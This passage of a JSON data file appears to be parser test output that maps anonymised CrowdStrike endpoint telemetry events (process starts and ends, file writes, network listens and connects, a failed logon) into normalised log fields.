"8a0a29438052faed8a2532da50455756", + "ParentAuthenticationId": "999", + "ProcessCreateFlags": "525324", + "ProcessParameterFlags": "8193", + "ProcessSxsFlags": "64", + "SHA256HashData": "7fd065bac18c5278777ae44908101cdfed72d26fa741367f0ad4d02020787ab6", + "SessionId": "0", + "SourceProcessId": "2881931477041", + "SourceThreadId": "70316664105336", + "Tags": [ + "27", + "29", + "53", + "54", + "55", + "185", + "10445360464024", + "10445360464025", + "10445360464026", + "10445360464258", + "10445360464273", + "10445360464274", + "12094627905582", + "12094627906234", + "211655988347297" + ], + "TokenType": "2", + "WindowFlags": "128", + "cid": "ffffffff30a3407dae27d0503611022d", + "id": "ffffffff-1111-11eb-b4f9-06e3a7e5503b", + "name": "ProcessRollup2V16" + }, + "device": { + "id": "ffffffffbe8a46386afe80c5ef64d0b5" + }, + "event": { + "action": "ProcessRollup2", + "category": [ + "process" + ], + "created": "2020-11-08T17:07:17.946Z", + "id": "ffffffff-1111-11eb-b4f9-06e3a7e5503b|ffffffffbe8a46386afe80c5ef64d0b5|ffffffff30a3407dae27d0503611022d", + "kind": "event", + "original": "{\"AuthenticationId\":\"999\",\"CommandLine\":\"C:\\\\WINDOWS\\\\System32\\\\svchost.exe -k netsvcs -p -s NetSetupSvc\",\"ConfigBuild\":\"1007.3.0010609.1\",\"ConfigStateHash\":\"4193986770\",\"EffectiveTransmissionClass\":\"3\",\"Entitlements\":\"15\",\"ImageFileName\":\"\\\\Device\\\\HarddiskVolume3\\\\Windows\\\\System32\\\\svchost.exe\",\"ImageSubsystem\":\"2\",\"IntegrityLevel\":\"16384\",\"MD5HashData\":\"8a0a29438052faed8a2532da50455756\",\"ParentAuthenticationId\":\"999\",\"ParentProcessId\":\"2881931477041\",\"ProcessCreateFlags\":\"525324\",\"ProcessEndTime\":\"\",\"ProcessParameterFlags\":\"8193\",\"ProcessStartTime\":\"1604842733.215\",\"ProcessSxsFlags\":\"64\",\"RawProcessId\":\"6160\",\"SHA1HashData\":\"0000000000000000000000000000000000000000\",\"SHA256HashData\":\"7fd065bac18c5278777ae44908101cdfed72d26fa741367f0ad4d02020787ab6\",\"SessionId\":\"0\",\"SourceProcessId\":\"2881931477041\",\"SourceThreadId\":\"70316664105336\",\"Tags\":\"27, 29, 53, 54, 55, 185, 10445360464024, 10445360464025, 10445360464026, 10445360464258, 10445360464273, 10445360464274, 12094627905582, 12094627906234, 211655988347297\",\"TargetProcessId\":\"2882232404222\",\"TokenType\":\"2\",\"UserSid\":\"S-1-5-18\",\"WindowFlags\":\"128\",\"aid\":\"ffffffffbe8a46386afe80c5ef64d0b5\",\"aip\":\"67.43.156.14\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Win\",\"event_simpleName\":\"ProcessRollup2\",\"id\":\"ffffffff-1111-11eb-b4f9-06e3a7e5503b\",\"name\":\"ProcessRollup2V16\",\"timestamp\":\"1604855237946\"}", + "outcome": "success", + "type": [ + "start" + ] + }, + "host": { + "id": "ffffffffbe8a46386afe80c5ef64d0b5", + "os": { + "type": "windows" + } + }, + "message": "ProcessRollup2", + "observer": { + "address": [ + "67.43.156.14" + ], + "geo": { + "continent_name": "Asia", + "country_iso_code": "BT", + "country_name": "Bhutan", + "location": { + "lat": 27.5, + "lon": 90.5 + } + }, + "ip": [ + "67.43.156.14" + ], + "serial_number": "ffffffffbe8a46386afe80c5ef64d0b5", + "version": "1007.3.0010609.1" + }, + "process": { + "Ext": { + "token": { + "integrity_level_name": "SYSTEM" + } + }, + "args": [ + "C:\\WINDOWS\\System32\\svchost.exe", + "-k", + "netsvcs", + "-p", + "-s", + "NetSetupSvc" + ], + "args_count": 6, + "command_line": "C:\\WINDOWS\\System32\\svchost.exe -k netsvcs -p -s NetSetupSvc", + "entity_id": "2882232404222", + "executable": "\\Device\\HarddiskVolume3\\Windows\\System32\\svchost.exe", + "hash": { + "md5": "8a0a29438052faed8a2532da50455756", + "sha256": "7fd065bac18c5278777ae44908101cdfed72d26fa741367f0ad4d02020787ab6" + }, + "name": "svchost.exe", + "parent": { + "entity_id": "2881931477041" + }, + "pid": 6160, + "start": "2020-11-08T13:38:53.215Z" + }, + "related": { + "hash": [ + "8a0a29438052faed8a2532da50455756", + "7fd065bac18c5278777ae44908101cdfed72d26fa741367f0ad4d02020787ab6", + "4193986770" + ], + "ip": [ + "67.43.156.14" + ], + "user": [ + "S-1-5-18" + ] + }, + "tags": [ + "preserve_original_event" + ], + "user": { + "id": "S-1-5-18" + } + }, + { + "@timestamp": "2020-11-08T17:07:22.091Z", + "crowdstrike": { + "ConfigStateHash": "1763245019", + "ContextProcessId": "1016182570608", + "ContextTimeStamp": "2020-11-08T09:58:32.519Z", + "DesiredAccess": "1179785", + "EffectiveTransmissionClass": "3", + "Entitlements": "15", + "FileAttributes": "0", + "FileObject": "18446670458156489088", + "Information": "1", + "IrpFlags": "2180", + "MajorFunction": "0", + "MinorFunction": "0", + "OperationFlags": "0", + "Options": "16777312", + "ShareAccess": "5", + "Status": "0", + "cid": "ffffffff30a3407dae27d0503611022d", + "id": "ffffffff-1111-11eb-9756-06fe7f8f682f", + "name": "RansomwareOpenFileV4" + }, + "device": { + "id": "ffffffffac4148947ed68497e89f3308" + }, + "event": { + "action": "RansomwareOpenFile", + "category": [ + "file" + ], + "created": "2020-11-08T17:07:22.091Z", + "id": "ffffffff-1111-11eb-9756-06fe7f8f682f|ffffffffac4148947ed68497e89f3308|ffffffff30a3407dae27d0503611022d", + "kind": "event", + "original": "{\"ConfigBuild\":\"1007.3.0011603.1\",\"ConfigStateHash\":\"1763245019\",\"ContextProcessId\":\"1016182570608\",\"ContextThreadId\":\"37343520154472\",\"ContextTimeStamp\":\"1604829512.519\",\"DesiredAccess\":\"1179785\",\"EffectiveTransmissionClass\":\"3\",\"Entitlements\":\"15\",\"FileAttributes\":\"0\",\"FileIdentifier\":\"7a9c1c1610045d45a54bd6643ac12ea767a5020000000c00\",\"FileObject\":\"18446670458156489088\",\"Information\":\"1\",\"IrpFlags\":\"2180\",\"MajorFunction\":\"0\",\"MinorFunction\":\"0\",\"OperationFlags\":\"0\",\"Options\":\"16777312\",\"ShareAccess\":\"5\",\"Status\":\"0\",\"TargetFileName\":\"\\\\Device\\\\HarddiskVolume3\\\\Users\\\\user11\\\\Downloads\\\\file.pptx\",\"aid\":\"ffffffffac4148947ed68497e89f3308\",\"aip\":\"67.43.156.14\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Win\",\"event_simpleName\":\"RansomwareOpenFile\",\"id\":\"ffffffff-1111-11eb-9756-06fe7f8f682f\",\"name\":\"RansomwareOpenFileV4\",\"timestamp\":\"1604855242091\"}", + "outcome": "success", + "type": [ + "access" + ] + }, + "file": { + "directory": "\\Device\\HarddiskVolume3\\Users\\user11\\Downloads", + "extension": "pptx", + "inode": "7a9c1c1610045d45a54bd6643ac12ea767a5020000000c00", + "name": "file.pptx", + "path": "\\Device\\HarddiskVolume3\\Users\\user11\\Downloads\\file.pptx", + "type": "file" + }, + "host": { + "id": "ffffffffac4148947ed68497e89f3308", + "os": { + "type": "windows" + } + }, + "message": "RansomwareOpenFile", + "observer": { + "address": [ + "67.43.156.14" + ], + "geo": { + "continent_name": "Asia", + "country_iso_code": "BT", + "country_name": "Bhutan", + "location": { + "lat": 27.5, + "lon": 90.5 + } + }, + "ip": [ + "67.43.156.14" + ], + "serial_number": "ffffffffac4148947ed68497e89f3308", + "version": "1007.3.0011603.1" + }, + "process": { + "entity_id": "1016182570608", + "thread": { + "id": 37343520154472 + } + }, + "related": { + "hash": [ + "1763245019" + ], + "ip": [ + "67.43.156.14" + ] + }, + "tags": [ + "preserve_original_event" + ] + }, + { + "@timestamp": "2020-11-08T17:07:56.657Z", + "crowdstrike": { + "AllocateVirtualMemoryCount": 0, + "ArchiveFileWrittenCount": 0, + "AsepWrittenCount": 0, + "BinaryExecutableWrittenCount": 0, + "CLICreationCount": 0, + "ConHostId": "13532", + "ConHostProcessId": "1731198143955", + "ConfigStateHash": "2030177841", + "ContextProcessId": "1741732942772", + "ContextTimeStamp": "2020-11-08T17:07:54.377Z", + "CycleTime": 473618996, + "DirectoryCreatedCount": 0, + "DirectoryEnumeratedCount": 0, + "DnsRequestCount": 0, + "DocumentFileWrittenCount": 0, + "EffectiveTransmissionClass": "3", + "Entitlements": "15", + "ExeAndServiceCount": 0, + "ExecutableDeletedCount": 0, + "FileDeletedCount": 0, + "GenericFileWrittenCount": 0, + "ImageSubsystem": "2", + "InjectedDllCount": 0, + "InjectedThreadCount": 0, + "KernelTime": 1406250, + "MaxThreadCount": 16, + "ModuleLoadCount": 72, + "NetworkBindCount": 0, + "NetworkCapableAsepWriteCount": 0, + "NetworkCloseCount": 0, + "NetworkConnectCount": 0, + "NetworkConnectCountUdp": 0, + "NetworkListenCount": 0, + "NetworkModuleLoadCount": 0, + "NetworkRecvAcceptCount": 0, + "NewExecutableWrittenCount": 0, + "PrivilegedProcessHandleCount": 0, + "ProtectVirtualMemoryCount": 0, + "QueueApcCount": 0, + "RegKeySecurityDecreasedCount": 0, + "RemovableDiskFileWrittenCount": 0, + "RunDllInvocationCount": 0, + "SHA256HashData": "87419b84f34cdb13f699c0f0803c957e48c27ad83334fcad7bac9ad89c0a466f", + "ScreenshotsTakenCount": 0, + "ScriptEngineInvocationCount": 0, + "ServiceEventCount": 0, + "SetThreadContextCount": 0, + "SnapshotFileOpenCount": 0, + "SuspectStackCount": 0, + "SuspiciousCredentialModuleLoadCount": 0, + "SuspiciousDnsRequestCount": 0, + "SuspiciousFontLoadCount": 0, + "SuspiciousRawDiskReadCount": 0, + "UnsignedModuleLoadCount": 0, + "UserMemoryAllocateExecutableCount": 0, + "UserMemoryAllocateExecutableRemoteCount": 0, + "UserMemoryProtectExecutableCount": 0, + "UserMemoryProtectExecutableRemoteCount": 0, + "UserTime": 781250, + "cid": "ffffffff30a3407dae27d0503611022d", + "id": "ffffffff-1111-11eb-b685-0241eaddc553", + "name": "EndOfProcessV14" + }, + "device": { + "id": "fffffffffdab492a5a20cd0417395a73" + }, + "event": { + "action": "EndOfProcess", + "category": [ + "process" + ], + "created": "2020-11-08T17:07:56.657Z", + "id": "ffffffff-1111-11eb-b685-0241eaddc553|fffffffffdab492a5a20cd0417395a73|ffffffff30a3407dae27d0503611022d", + "kind": "event", + "original": "{\"AllocateVirtualMemoryCount\":\"0\",\"ArchiveFileWrittenCount\":\"0\",\"AsepWrittenCount\":\"0\",\"BinaryExecutableWrittenCount\":\"0\",\"CLICreationCount\":\"0\",\"ConHostId\":\"13532\",\"ConHostProcessId\":\"1731198143955\",\"ConfigBuild\":\"1007.3.0010609.1\",\"ConfigStateHash\":\"2030177841\",\"ContextData\":\"\",\"ContextProcessId\":\"1741732942772\",\"ContextThreadId\":\"28523520529271\",\"ContextTimeStamp\":\"1604855274.377\",\"CycleTime\":\"473618996\",\"DirectoryCreatedCount\":\"0\",\"DirectoryEnumeratedCount\":\"0\",\"DnsRequestCount\":\"0\",\"DocumentFileWrittenCount\":\"0\",\"EffectiveTransmissionClass\":\"3\",\"Entitlements\":\"15\",\"ExeAndServiceCount\":\"0\",\"ExecutableDeletedCount\":\"0\",\"ExitCode\":\"0\",\"FileDeletedCount\":\"0\",\"GenericFileWrittenCount\":\"0\",\"ImageSubsystem\":\"2\",\"InjectedDllCount\":\"0\",\"InjectedThreadCount\":\"0\",\"KernelTime\":\"1406250\",\"MaxThreadCount\":\"16\",\"ModuleLoadCount\":\"72\",\"NetworkBindCount\":\"0\",\"NetworkCapableAsepWriteCount\":\"0\",\"NetworkCloseCount\":\"0\",\"NetworkConnectCount\":\"0\",\"NetworkConnectCountUdp\":\"0\",\"NetworkListenCount\":\"0\",\"NetworkModuleLoadCount\":\"0\",\"NetworkRecvAcceptCount\":\"0\",\"NewExecutableWrittenCount\":\"0\",\"ParentProcessId\":\"1731198143955\",\"PrivilegedProcessHandleCount\":\"0\",\"ProcessStartTime\":\"1604855154.465\",\"ProtectVirtualMemoryCount\":\"0\",\"QueueApcCount\":\"0\",\"RawProcessId\":\"18176\",\"RegKeySecurityDecreasedCount\":\"0\",\"RemovableDiskFileWrittenCount\":\"0\",\"RunDllInvocationCount\":\"0\",\"SHA256HashData\":\"87419b84f34cdb13f699c0f0803c957e48c27ad83334fcad7bac9ad89c0a466f\",\"ScreenshotsTakenCount\":\"0\",\"ScriptEngineInvocationCount\":\"0\",\"ServiceEventCount\":\"0\",\"SetThreadContextCount\":\"0\",\"SnapshotFileOpenCount\":\"0\",\"SuspectStackCount\":\"0\",\"SuspiciousCredentialModuleLoadCount\":\"0\",\"SuspiciousDnsRequestCount\":\"0\",\"SuspiciousFontLoadCount\":\"0\",\"SuspiciousRawDiskReadCount\":\"0\",\"TargetProcessId\":\"1741732942772\",\"UnsignedModuleLoadCount\":\"0\",\"UserMemoryAllocateExecutableCount\":\"0\",\"UserMemoryAllocateExecutableRemoteCount\":\"0\",\"UserMemoryProtectExecutableCount\":\"0\",\"UserMemoryProtectExecutableRemoteCount\":\"0\",\"UserSid\":\"S-1-12-1-1647509123-1308660782-3901357462-3999411581\",\"UserTime\":\"781250\",\"aid\":\"fffffffffdab492a5a20cd0417395a73\",\"aip\":\"67.43.156.13\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Win\",\"event_simpleName\":\"EndOfProcess\",\"id\":\"ffffffff-1111-11eb-b685-0241eaddc553\",\"name\":\"EndOfProcessV14\",\"timestamp\":\"1604855276657\"}", + "outcome": "success", + "type": [ + "end" + ] + }, + "host": { + "id": "fffffffffdab492a5a20cd0417395a73", + "os": { + "type": "windows" + } + }, + "message": "EndOfProcess", + "observer": { + "address": [ + "67.43.156.13" + ], + "geo": { + "continent_name": "Asia", + "country_iso_code": "BT", + "country_name": "Bhutan", + "location": { + "lat": 27.5, + "lon": 90.5 + } + }, + "ip": [ + "67.43.156.13" + ], + "serial_number": "fffffffffdab492a5a20cd0417395a73", + "version": "1007.3.0010609.1" + }, + "process": { + "entity_id": "1741732942772", + "exit_code": 0, + "hash": { + "sha256": "87419b84f34cdb13f699c0f0803c957e48c27ad83334fcad7bac9ad89c0a466f" + }, + "parent": { + "entity_id": "1731198143955" + }, + "pid": 18176, + "start": "2020-11-08T17:05:54.465Z", + "thread": { + "id": 28523520529271 + } + }, + "related": { + "hash": [ + "87419b84f34cdb13f699c0f0803c957e48c27ad83334fcad7bac9ad89c0a466f", + "2030177841" + ], + "ip": [ + "67.43.156.13" + ], + "user": [ + "S-1-12-1-1647509123-1308660782-3901357462-3999411581" + ] + }, + "tags": [ + "preserve_original_event" + ], + "user": { + "id": "S-1-12-1-1647509123-1308660782-3901357462-3999411581" + } + }, + { + "@timestamp": "2020-11-08T17:08:49.571Z", + "crowdstrike": { + "AuthenticationId": "895027", + "ConfigStateHash": "3338885535", + "ContextProcessId": "1786917081743", + "ContextTimeStamp": "2020-11-08T17:08:37.892Z", + "EffectiveTransmissionClass": "3", + "Entitlements": "15", + "FileEcpBitmask": "0", + "FileObject": "18446636933702558240", + "IrpFlags": "1028", + "IsOnNetwork": "1", + "IsOnRemovableDisk": "0", + "MajorFunction": "18", + "MinorFunction": "0", + "OperationFlags": "0", + "TokenType": "1", + "cid": "ffffffff30a3407dae27d0503611022d", + "id": "ffffffff-1111-11eb-9165-067ee18a7975", + "name": "OoxmlFileWrittenV11" + }, + "device": { + "id": "fffffffffa474d216472f3edb73c75ed" + }, + "event": { + "action": "creation", + "category": [ + "file" + ], + "created": "2020-11-08T17:08:49.571Z", + "id": "ffffffff-1111-11eb-9165-067ee18a7975|fffffffffa474d216472f3edb73c75ed|ffffffff30a3407dae27d0503611022d", + "kind": "event", + "original": "{\"AuthenticationId\":\"895027\",\"ConfigBuild\":\"1007.3.0011603.1\",\"ConfigStateHash\":\"3338885535\",\"ContextProcessId\":\"1786917081743\",\"ContextThreadId\":\"31685015444484\",\"ContextTimeStamp\":\"1604855317.892\",\"EffectiveTransmissionClass\":\"3\",\"Entitlements\":\"15\",\"FileEcpBitmask\":\"0\",\"FileIdentifier\":\"0000000000000000be341bb58bc5f1f2a24339010200510e\",\"FileObject\":\"18446636933702558240\",\"IrpFlags\":\"1028\",\"IsOnNetwork\":\"1\",\"IsOnRemovableDisk\":\"0\",\"MajorFunction\":\"18\",\"MinorFunction\":\"0\",\"OperationFlags\":\"0\",\"Size\":\"223989\",\"TargetFileName\":\"\\\\Device\\\\Mup\\\\intranet.dev\\\\int\\\\Test.pptx\",\"TokenType\":\"1\",\"aid\":\"fffffffffa474d216472f3edb73c75ed\",\"aip\":\"67.43.156.13\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Win\",\"event_simpleName\":\"OoxmlFileWritten\",\"id\":\"ffffffff-1111-11eb-9165-067ee18a7975\",\"name\":\"OoxmlFileWrittenV11\",\"timestamp\":\"1604855329571\"}", + "outcome": "success", + "type": [ + "creation" + ] + }, + "file": { + "directory": "\\Device\\Mup\\intranet.dev\\int", + "extension": "pptx", + "inode": "0000000000000000be341bb58bc5f1f2a24339010200510e", + "name": "Test.pptx", + "path": "\\Device\\Mup\\intranet.dev\\int\\Test.pptx", + "size": 223989, + "type": "file" + }, + "host": { + "id": "fffffffffa474d216472f3edb73c75ed", + "os": { + "type": "windows" + } + }, + "message": "OoxmlFileWritten", + "observer": { + "address": [ + "67.43.156.13" + ], + "geo": { + "continent_name": "Asia", + "country_iso_code": "BT", + "country_name": "Bhutan", + "location": { + "lat": 27.5, + "lon": 90.5 + } + }, + "ip": [ + "67.43.156.13" + ], + "serial_number": "fffffffffa474d216472f3edb73c75ed", + "version": "1007.3.0011603.1" + }, + "process": { + "entity_id": "1786917081743", + "thread": { + "id": 31685015444484 + } + }, + "related": { + "hash": [ + "3338885535" + ], + "ip": [ + "67.43.156.13" + ] + }, + "tags": [ + "preserve_original_event" + ] + }, + { + "@timestamp": "2020-11-08T17:09:11.798Z", + "crowdstrike": { + "ConfigStateHash": "3765958535", + "ConnectionFlags": "0", + "ContextProcessId": "439029805661", + "ContextTimeStamp": "2020-11-08T17:09:11.158Z", + "EffectiveTransmissionClass": "3", + "Entitlements": "15", + "InContext": "0", + "LocalAddressIP6": [ + "2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6" + ], + "cid": "ffffffff30a3407dae27d0503611022d", + "id": "ffffffff-1111-11eb-85f5-02ab029194b9", + "name": "NetworkListenIP6V5" + }, + "destination": { + "address": "0:0:0:0:0:0:0:0", + "ip": "0:0:0:0:0:0:0:0", + "port": 0 + }, + "device": { + "id": "ffffffff1f924e228a807ea4c0f21b0b" + }, + "event": { + "action": "NetworkListenIP6", + "category": [ + "network" + ], + "created": "2020-11-08T17:09:11.798Z", + "id": "ffffffff-1111-11eb-85f5-02ab029194b9|ffffffff1f924e228a807ea4c0f21b0b|ffffffff30a3407dae27d0503611022d", + "kind": "event", + "original": "{\"ConfigBuild\":\"1007.3.0011603.1\",\"ConfigStateHash\":\"3765958535\",\"ConnectionDirection\":\"2\",\"ConnectionFlags\":\"0\",\"ContextProcessId\":\"439029805661\",\"ContextThreadId\":\"273683743193497\",\"ContextTimeStamp\":\"1604855351.158\",\"EffectiveTransmissionClass\":\"3\",\"Entitlements\":\"15\",\"InContext\":\"0\",\"LocalAddressIP6\":\"2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6\",\"LocalPort\":\"50373\",\"Protocol\":\"6\",\"RemoteAddressIP6\":\"0:0:0:0:0:0:0:0\",\"RemotePort\":\"0\",\"aid\":\"ffffffff1f924e228a807ea4c0f21b0b\",\"aip\":\"67.43.156.14\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Win\",\"event_simpleName\":\"NetworkListenIP6\",\"id\":\"ffffffff-1111-11eb-85f5-02ab029194b9\",\"name\":\"NetworkListenIP6V5\",\"timestamp\":\"1604855351798\"}", + "outcome": "success", + "type": [ + "start" + ] + }, + "host": { + "id": "ffffffff1f924e228a807ea4c0f21b0b", + "os": { + "type": "windows" + } + }, + "message": "NetworkListenIP6", + "network": { + "direction": "unknown", + "iana_number": "6", + "transport": "tcp" + }, + "observer": { + "address": [ + "67.43.156.14" + ], + "geo": { + "continent_name": "Asia", + "country_iso_code": "BT", + "country_name": "Bhutan", + "location": { + "lat": 27.5, + "lon": 90.5 + } + }, + "ip": [ + "67.43.156.14" + ], + "serial_number": "ffffffff1f924e228a807ea4c0f21b0b", + "version": "1007.3.0011603.1" + }, + "process": { + "entity_id": "439029805661", + "thread": { + "id": 273683743193497 + } + }, + "related": { + "hash": [ + "3765958535" + ], + "ip": [ + "67.43.156.14", + "2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6", + "0:0:0:0:0:0:0:0" + ] + }, + "source": { + "address": "2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6", + "geo": { + "continent_name": "Europe", + "country_iso_code": "NO", + "country_name": "Norway", + "location": { + "lat": 62.0, + "lon": 10.0 + } + }, + "ip": "2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6", + "port": 50373 + }, + "tags": [ + "preserve_original_event" + ] + }, + { + "@timestamp": "2020-11-08T17:09:15.495Z", + "crowdstrike": { + "ConfigStateHash": "1457965279", + "ContextProcessId": "321365562189152025", + "ContextTimeStamp": "2020-11-08T14:34:30.744Z", + "Entitlements": "15", + "SHA256HashData": "e1bed7598ffdecf63a4d240f8309b528fc45068c6cb8137a5090f3afeb57f29d", + "VnodeModificationType": "10", + "cid": "ffffffff30a3407dae27d0503611022d", + "id": "ffffffff-1111-11eb-b9b4-063e98f9b19b", + "name": "AsepFileChangeMacV2" + }, + "device": { + "id": "ffffffff1f32487185fcde66a9dc0528" + }, + "event": { + "action": "AsepFileChange", + "category": [ + "file" + ], + "created": "2020-11-08T17:09:15.495Z", + "id": "ffffffff-1111-11eb-b9b4-063e98f9b19b|ffffffff1f32487185fcde66a9dc0528|ffffffff30a3407dae27d0503611022d", + "kind": "event", + "original": "{\"ConfigBuild\":\"1007.4.0011104.1\",\"ConfigStateHash\":\"1457965279\",\"ContextProcessId\":\"321365562189152025\",\"ContextThreadId\":\"0\",\"ContextTimeStamp\":\"1604846070.744\",\"Entitlements\":\"15\",\"SHA256HashData\":\"e1bed7598ffdecf63a4d240f8309b528fc45068c6cb8137a5090f3afeb57f29d\",\"Size\":\"29646\",\"TargetFileName\":\"/System/Library/CoreServices/SecurityAgentPlugins/HomeDirMechanism.bundle/Contents/MacOS/HomeDirMechanism/..namedfork/rsrc\",\"VnodeModificationType\":\"10\",\"aid\":\"ffffffff1f32487185fcde66a9dc0528\",\"aip\":\"67.43.156.14\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Mac\",\"event_simpleName\":\"AsepFileChange\",\"id\":\"ffffffff-1111-11eb-b9b4-063e98f9b19b\",\"name\":\"AsepFileChangeMacV2\",\"timestamp\":\"1604855355495\"}", + "outcome": "success", + "type": [ + "creation", + "change" + ] + }, + "file": { + "directory": "/System/Library/CoreServices/SecurityAgentPlugins/HomeDirMechanism.bundle/Contents/MacOS/HomeDirMechanism/..namedfork", + "hash": { + "sha256": "e1bed7598ffdecf63a4d240f8309b528fc45068c6cb8137a5090f3afeb57f29d" + }, + "name": "rsrc", + "path": "/System/Library/CoreServices/SecurityAgentPlugins/HomeDirMechanism.bundle/Contents/MacOS/HomeDirMechanism/..namedfork/rsrc", + "size": 29646, + "type": "file" + }, + "host": { + "id": "ffffffff1f32487185fcde66a9dc0528", + "os": { + "type": "macos" + } + }, + "message": "AsepFileChange", + "observer": { + "address": [ + "67.43.156.14" + ], + "geo": { + "continent_name": "Asia", + "country_iso_code": "BT", + "country_name": "Bhutan", + "location": { + "lat": 27.5, + "lon": 90.5 + } + }, + "ip": [ + "67.43.156.14" + ], + "serial_number": "ffffffff1f32487185fcde66a9dc0528", + "version": "1007.4.0011104.1" + }, + "process": { + "entity_id": "321365562189152025", + "thread": { + "id": 0 + } + }, + "related": { + "hash": [ + "e1bed7598ffdecf63a4d240f8309b528fc45068c6cb8137a5090f3afeb57f29d", + "1457965279" + ], + "ip": [ + "67.43.156.14" + ] + }, + "tags": [ + "preserve_original_event" + ] + }, + { + "@timestamp": "2020-11-08T17:06:33.422Z", + "crowdstrike": { + "ConfigStateHash": "3011122681", + "ContextProcessId": "2932136", + "ContextTimeStamp": "2020-11-08T17:06:31.803Z", + "EffectiveTransmissionClass": "2", + "Entitlements": "15", + "UserLogonFlags": "1", + "cid": "ffffffff30a3407dae27d0503611022d", + "id": "ffffffff-1111-11eb-aa5a-0207e26418af", + "name": "UserLogonFailedV1" + }, + "device": { + "id": "ffffffffa5bd4efaa195a7132c576edc" + }, + "event": { + "action": "UserLogonFailed", + "category": [ + "authentication" + ], + "created": "2020-11-08T17:06:33.422Z", + "id": "ffffffff-1111-11eb-aa5a-0207e26418af|ffffffffa5bd4efaa195a7132c576edc|ffffffff30a3407dae27d0503611022d", + "kind": "event", + "original": "{\"ConfigBuild\":\"1007.3.0011603.1\",\"ConfigStateHash\":\"3011122681\",\"ContextProcessId\":\"2932136\",\"ContextThreadId\":\"36157339485804\",\"ContextTimeStamp\":\"1604855191.803\",\"EffectiveTransmissionClass\":\"2\",\"Entitlements\":\"15\",\"LogonTime\":\"\",\"PasswordLastSet\":\"\",\"UserLogonFlags\":\"1\",\"UserName\":\"user7\",\"UserSid\":\"S-1-5-10\",\"aid\":\"ffffffffa5bd4efaa195a7132c576edc\",\"aip\":\"67.43.156.13\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Win\",\"event_simpleName\":\"UserLogonFailed\",\"id\":\"ffffffff-1111-11eb-aa5a-0207e26418af\",\"name\":\"UserLogonFailedV1\",\"timestamp\":\"1604855193422\"}", + "outcome": "failure", + "type": [ + "start" + ] + }, + "host": { + "id": "ffffffffa5bd4efaa195a7132c576edc", + "os": { + "type": "windows" + } + }, + "message": "UserLogonFailed", + "observer": { + "address": [ + "67.43.156.13" + ], + "geo": { + "continent_name": "Asia", + "country_iso_code": "BT", + "country_name": "Bhutan", + "location": { + "lat": 27.5, + "lon": 90.5 + } + }, + "ip": [ + "67.43.156.13" + ], + "serial_number": "ffffffffa5bd4efaa195a7132c576edc", + "version": "1007.3.0011603.1" + }, + "process": { + "entity_id": "2932136", + "thread": { + "id": 36157339485804 + } + }, + "related": { + "hash": [ + "3011122681" + ], + "ip": [ + "67.43.156.13" + ], + "user": [ + "user7", + "S-1-5-10" + ] + }, + "tags": [ + "preserve_original_event" + ], + "user": { + "id": "S-1-5-10", + "name": "user7" + } + }, + { + "@timestamp": "2020-11-08T17:06:39.798Z", + "crowdstrike": { + "ConfigStateHash": "1858880895", + "ConnectionFlags": "0", + "ContextProcessId": "56042872298", + "ContextTimeStamp": "2020-11-08T17:05:36.669Z", + "EffectiveTransmissionClass": "3", + "Entitlements": "15", + "InContext": "0", + "LocalAddressIP6": [ + "2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6" + ], + "cid": "ffffffff30a3407dae27d0503611022d", + "id": "ffffffff-1111-11eb-a889-061944805289", + "name": "NetworkConnectIP6V5" + }, + "destination": { + "address": "2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6", + "geo": { + "continent_name": "Europe", + "country_iso_code": "NO", + "country_name": "Norway", + "location": { + "lat": 62.0, + "lon": 10.0 + } + }, + "ip": "2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6", + "port": 443 + }, + "device": { + "id": "ffffffff6854438eb4181691ec47e43d" + }, + "event": { + "action": "NetworkConnectIP6", + "category": [ + "network" + ], + "created": "2020-11-08T17:06:39.798Z", + "id": "ffffffff-1111-11eb-a889-061944805289|ffffffff6854438eb4181691ec47e43d|ffffffff30a3407dae27d0503611022d", + "kind": "event", + "original": "{\"ConfigBuild\":\"1007.3.0011603.1\",\"ConfigStateHash\":\"1858880895\",\"ConnectionDirection\":\"0\",\"ConnectionFlags\":\"0\",\"ContextProcessId\":\"56042872298\",\"ContextTimeStamp\":\"1604855136.669\",\"EffectiveTransmissionClass\":\"3\",\"Entitlements\":\"15\",\"InContext\":\"0\",\"LocalAddressIP6\":\"2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6\",\"LocalPort\":\"49689\",\"Protocol\":\"6\",\"RemoteAddressIP6\":\"2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6\",\"RemotePort\":\"443\",\"aid\":\"ffffffff6854438eb4181691ec47e43d\",\"aip\":\"67.43.156.14\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Win\",\"event_simpleName\":\"NetworkConnectIP6\",\"id\":\"ffffffff-1111-11eb-a889-061944805289\",\"name\":\"NetworkConnectIP6V5\",\"timestamp\":\"1604855199798\"}", + "outcome": "unknown", + "type": [ + "start", + "connection" + ] + }, + "host": { + "id": "ffffffff6854438eb4181691ec47e43d", + "os": { + "type": "windows" + } + }, + "message": "NetworkConnectIP6", + "network": { + "community_id": "1:H+oCOL0YBAZDUBNuLG0b/Xuke3g=", + "direction": "outbound", + "iana_number": "6", + "transport": "tcp" + }, + "observer": { + "address": [ + "67.43.156.14" + ], + "geo": { + "continent_name": "Asia", + "country_iso_code": "BT", + "country_name": "Bhutan", + "location": { + "lat": 27.5, + "lon": 90.5 + } + }, + "ip": [ + "67.43.156.14" + ], + "serial_number": "ffffffff6854438eb4181691ec47e43d", + "version": "1007.3.0011603.1" + }, + "process": { + "entity_id": "56042872298" + }, + "related": { + "hash": [ + "1858880895" + ], + "ip": [ + "67.43.156.14", + "2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6" + ] + }, + "source": { + "address": 